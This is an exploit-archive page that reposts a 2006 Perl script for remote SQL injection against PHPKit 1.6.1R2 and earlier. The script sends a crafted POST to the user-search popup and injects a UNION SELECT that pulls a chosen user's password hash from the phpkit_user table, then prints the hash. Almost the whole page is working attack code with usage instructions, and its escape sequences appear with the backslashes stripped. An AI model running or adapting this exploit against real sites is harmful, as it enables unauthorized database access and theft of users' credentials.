[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]
# Title : PHPKIT <= 1.6.1R2 (search_user) Remote SQL Injection Exploit
# Published : 2006-11-04
# Author : x23
# Previous Title : Drake CMS < 0.2.3 ALPHA rev.916Remote File Inclusion Vulnerability
# Next Title : phpDynaSite <= 3.2.2 (racine) Remote File Include Vulnerabilities
#!/usr/bin/perl
use IO::Socket;
print q{
-----------------------------------------------
PHPKit 1.6.1 exploit by x23 ~ phcn.ws ~ geek-network.de
use: phpkit161.pl [server] [dir] [vic_id]
sample:
$ perl phpkit161.pl localhost /phpkit/ 1
-----------------------------------------------
};
$webpage = $ARGV[0];
$directory = $ARGV[1];
$vic_id = $ARGV[2];
if (!$vic_id) { die "~ read how to use ;)n"; }
print "~ connectingn";
$sock = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$webpage", PeerPort=>"80") || die "[+] Can't connect to Servern";
print "~ exploitingn";
print $sock "POST ".$directory."popup.php?path=misc/finduser.php HTTP/1.1rn";
print $sock "Host: $webpagern";
print $sock "Keep-Alive: 300rn";
print $sock "Content-Type: application/x-www-form-urlencodedrn";
print $sock "Content-Length: ".length("search_user=%27+AND+1%3D0+UNION+SELECT+user_pw+FROM+phpkit_user+WHERE+user_id%3D".$vic_id."%2F*&action=Suche&User=-1")."rnrn";
print $sock "search_user=%27+AND+1%3D0+UNION+SELECT+user_pw+FROM+phpkit_user+WHERE+user_id%3D".$vic_id."%2F*&action=Suche&User=-1";
while ($answer = <$sock>) {
#print $answer;
if ($answer =~/<option value="([0-9a-f]{32})">/) {
print "~ hash: $1n";
close($sock);
exit();
break;
}
}
close($sock);
# www.Syue.com [2006-11-04]